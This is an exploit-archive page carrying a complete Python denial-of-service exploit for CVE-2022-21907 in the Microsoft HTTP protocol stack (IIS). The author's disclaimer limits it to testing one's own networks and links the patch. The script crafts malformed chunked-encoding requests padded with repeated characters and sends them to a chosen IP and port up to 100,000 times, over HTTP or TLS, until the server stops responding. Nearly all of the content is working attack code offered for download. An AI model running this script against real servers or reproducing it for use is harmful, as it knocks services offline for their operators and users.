Microsoft HTTP Protocol Stack Denial Of Service

Authored by polakow | Site github.com

Posted Apr 15, 2022

Microsoft HTTP protocol stack denial of service exploit that leverages the vulnerability in CVE-2022-21907.

tags | exploit, web, denial of service, protocol
advisories | CVE-2022-21907
SHA-256 | 0035e8f68394e431f30fc5f6c1453975239fafaabddd9ec475fac32868642729 **Download** | **Favorite** | **View**

Related Files

Share This

Like 0 Tweet LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Exploit developed by the polakow from the past (@ltdominikow)
# This exploit was made for testing own networks and patch affected systems. I'm not responsible if you do
another thing with this exploit.
# As a drunk wise man said: "Please, don't be a 'culiao'!" Use this exploit for testing your own network and
patch your affected systems.

from colorama import Fore, Style, init
import argparse
import socket
import ssl
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning


def banner():
    print(f"""\n\n{Fore.GREEN}   ******  **      ** ********        ****   ****   ****   ****         ****   **
****   **** ******
  **////**/**     /**/**/////        */// * *///** */// * */// *       */// * ***  */// * *///**//////*
 **    // /**     /**/**            /    /*/*  */*/    /*/    /*      /    /*//** /*   /*/*   */*    /*
/**       //**    ** /*******  *****   *** /* * /*   ***    ***  *****   ***  /** / **** /* * /*     *
/**        //**  **  /**////  /////   *//  /**  /*  *//    *//  /////   *//   /**  ///*  /**  /*    *
//**    **  //****   /**             *     /*   /* *      *            *      /**    *   /*   /*   *
 //******    //**    /*********      /******/ **** /******/******      /****** ****  *     / ****  *
  //////      //     ////////       //////  ////  ////// //////       ////// ////  /      ////   /     """)
    print(f"\n\nAuthor: polakow(@ltdominikow)\n{Style.RESET_ALL}")
    print(f"{Fore.RED}[!] Warning: This exploit was made for testing own networks and patch affected systems.
I'm not responsible if you do another thing with this exploit.{Style.RESET_ALL}\n")
    print(f"{Fore.CYAN}[*] Patch URL: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-
21907{Style.RESET_ALL}\n")


def parseArgs():
    parser = argparse.ArgumentParser(description="Description message")
    parser.add_argument("-t", "--target", default=None, required=True, help="IIS Server. For instance:
192.168.1.110")
    parser.add_argument("-p", "--port", default=None, required=True, help="Port of the IIS server. For
instance: 80")
    parser.add_argument("-v", "--ipversion", default=None, required=True, help="IP version: 4 or 6")
    return parser.parse_args()


def isServiceRunning(ip, port, ipVersion):

    if port == 443:
        targetURL = "https://"
    else:
        targetURL = "http://"

    if ipVersion == 6:
        targetURL = targetURL + '[' + ip + ']'
    else:
        targetURL = targetURL + ip

    try:
        requests.get(targetURL, timeout=4, verify=False)
    except Exception as e:
        return False

    return True

def checkServerStatus(ip, port, ipVersion):
    if isServiceRunning(ip, port, ipVersion):
        print(f'[*] The server is {Fore.GREEN}running{Style.RESET_ALL}!')
    else:
        print(f'[!] The server is {Fore.RED}not running{Style.RESET_ALL}!')


def exploit(ip, port, ipVersion):

    print("[*] Attacking: %s on port %d" % (ip, port))

    # Evil request
```

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: November 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
		1	2	3	4	5
6	7	8	9	10	11	12
13	14	15	16	17	18	19
20	21	22	23	24	25	26
27	28	29	30			

Top Authors In Last 30 Days

- **Red Hat** 186 files
- **Ubuntu** 52 files
- **Gentoo** 44 files
- **Debian** 27 files
- **Apple** 25 files
- **Google Security Research** 14 files
- **malvuln** 10 files
- **nu11secur1ty** 6 files
- **mjurczyk** 4 files
- **George Tsimpidas** 3 files

File Tags

- ActiveX (932)
- Advisory (79,557)
- Arbitrary (15,643)
- BBS (2,859)
- Bypass (1,615)
- CGI (1,015)
- Code Execution (6,913)
- Conference (672)
- Cracker (840)
- CSRF (3,288)
- DoS (22,541)
- Encryption (2,349)
- Exploit (50,293)
- File Inclusion (4,162)
- File Upload (946)
- Firewall (821)
- Info Disclosure (2,656)

File Archives

- November 2022
- October 2022
- September 2022
- August 2022
- July 2022
- June 2022
- May 2022
- April 2022
- March 2022
- February 2022
- January 2022
- December 2021
- Older

Systems

- AIX (426)
- Apple (1,926)

```
    data = "200\r\n" + "A" * 0x200 + "\r\n" + "200\r\n" + "A" * 0x200 + "\r\n" + "200\r\n" + "A" * 0x200 +
"\r\n" + "200\r\n" + "A" * 0x200 + "\r\n"

    if ipVersion == 6:
        payload = "GET / HTTP/1.1\r\nHost: " + '[' + ip + ']' + ":" + str(port) + "\r\nTE:
trailers\r\nTransfer-Encoding: chunked\r\n\r\n" + data + data + "0\r\n\r\n"
        payload2 = "GET /\r\nHost: " + '[' + ip + ']' + ":" + str(port) + "\r\nTE: trailers\r\nTransfer-
Encoding: chunked\r\n\r\n" + data + data + "0\r\n\r\n"
    else:
        payload = "GET / HTTP/1.1\r\nHost: " + ip + ":" + str(port) + "\r\nTE: trailers\r\nTransfer-Encoding:
chunked\r\n\r\n" + data + data + "0\r\n\r\n"
        payload2 = "GET /\r\nHost: " + ip + ":" + str(port) + "\r\nTE: trailers\r\nTransfer-Encoding:
chunked\r\n\r\n" + data + data + "0\r\n\r\n"

    # Attack!

    for i in range(0, 100000):
        try:
            # IPv6
            if ipVersion == 6:
                s = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
            else:
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

            s.settimeout(5)

            # Attack HTTPS or HTTP

            if port == 443:
                context = ssl._create_unverified_context()
                so = context.wrap_socket(s, server_hostname=ip)

                so.connect((ip, port))
                so.sendall(payload.encode('ascii'))
                if i % 10000 == 0:
                    print("[*] Sending evil payload...")
                so.sendall(payload2.encode('ascii'))
            else:
                s.connect((ip, port))
                s.sendall(payload.encode('ascii'))
                if i % 10000 == 0:
                    print("[*] Sending evil payload...")
                s.sendall(payload2.encode('ascii'))
        except socket.timeout:
            print("[*] Timeout! Checking server status...")
            checkServerStatus(ip, port, ipVersion)
            break
        except Exception as e:
            print(e)
            break


if __name__ == '__main__':
    init(convert=True)

    # Banner

    banner()

    # Args
    args = parseArgs()

    port = args.port
    ipVersion = args.ipversion

    # Check digits

    if not port.isdigit() and not ipVersion.isdigit():
        print("The port must be a number!")
        exit(1)

    # Remove protocol

    if args.target.startswith('https://'):
        ip = args.target.replace("https://", "")
    elif args.target.startswith('http://'):
        ip = args.target.replace("http://", "")
    else:
        ip = args.target

    # Remove backslash

    if ip.endswith("/"):
        ip = ip.replace("/", "")

    # Remove ipv6 http/https

    if ip.endswith("]") and ip.startswith("["):
        ip = ip.replace("[", "").replace("]", "")

    # Check ip version

    if not int(ipVersion) == 6 and not int(ipVersion) == 4:
        print("The IP version is invalid.")
        exit(1)

    # Check server status

    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

    checkServerStatus(ip, int(port), int(ipVersion))

    # Exploit!

    exploit(ip, int(port), int(ipVersion))
```

Login or Register to add favorites

Intrusion Detection (866)
Java (2,888)
JavaScript (817)
Kernel (6,255)
Local (14,173)
Magazine (586)
Overflow (12,390)
Perl (1,417)
PHP (5,087)
Proof of Concept (2,290)
Protocol (3,426)
Python (1,449)
Remote (30,009)
Root (3,496)
Ruby (594)
Scanner (1,631)
Security Tool (7,768)
Shell (3,098)
Shellcode (1,204)
Sniffer (885)
Spoof (2,165)
SQL Injection (16,089)
TCP (2,377)
Trojan (685)
UDP (875)
Virus (661)
Vulnerability (31,104)
Web (9,329)
Whitepaper (3,728)
x86 (946)
XSS (17,478)
Other

BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,620)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,118)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,339)
Slackware (941)
Solaris (1,607)
SUSE (1,444)
Ubuntu (8,147)
UNIX (9,150)
UnixWare (185)
Windows (6,504)
Other